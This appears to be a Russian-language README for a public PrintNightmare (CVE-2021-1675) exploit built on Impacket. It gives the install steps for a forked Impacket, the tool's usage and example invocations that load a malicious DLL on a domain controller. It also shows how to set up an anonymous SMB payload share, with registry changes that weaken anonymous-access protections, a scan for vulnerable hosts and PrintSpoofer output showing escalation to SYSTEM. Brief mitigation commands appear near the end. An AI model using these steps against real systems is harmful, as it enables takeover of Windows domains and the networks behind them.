
Эксплойт на основе Impacket для CVE-2021-1675 (PrintNightmare), позволяющий выполнять DLL удалённо или локально на контроллерах домена Windows с размещением полезной нагрузки через SMB и сканированием уязвимостей.
Реализация Impacket для PoC PrintNightmare, изначально созданного Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Протестировано на полностью пропатченном контроллере домена 2019
Выполнение вредоносных DLL удалённо или локально

Перед запуском эксплойта необходимо установить мою версию Impacket, после этого всё работает
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
Реализация CVE-2021-1675.
позиционные аргументы:
target [[domain/]username[:password]@]<targetName or address>
share Путь к DLL. Пример '\\10.10.10.10\share\evil.dll'
необязательные аргументы:
-h, --help показать это справочное сообщение и выйти
аутентификация:
-hashes LMHASH:NTHASH
NTLM хэши, формат: LMHASH:NTHASH
подключение:
-target-ip ip address
IP-адрес целевой машины. Если опущен, будет использовано то, что указано как target. Это полезно, когда target является NetBIOS-именем
и вы не можете его разрешить
-port [destination port]
Порт назначения для подключения к SMB-серверу
Пример;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Самый простой способ разместить полезные нагрузки — использовать samba и изменить /etc/samba/smb.conf для разрешения анонимного доступа
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
С Windows это также возможно
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Мы можем использовать rpcdump.py из impacket для сканирования уязвимых хостов; если он возвращает значение, то хост уязвим
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
Отключение службы диспетчера печати (Spooler)
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
Или удаление служб печати
Uninstall-WindowsFeature Print-Services
Старый способ: c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>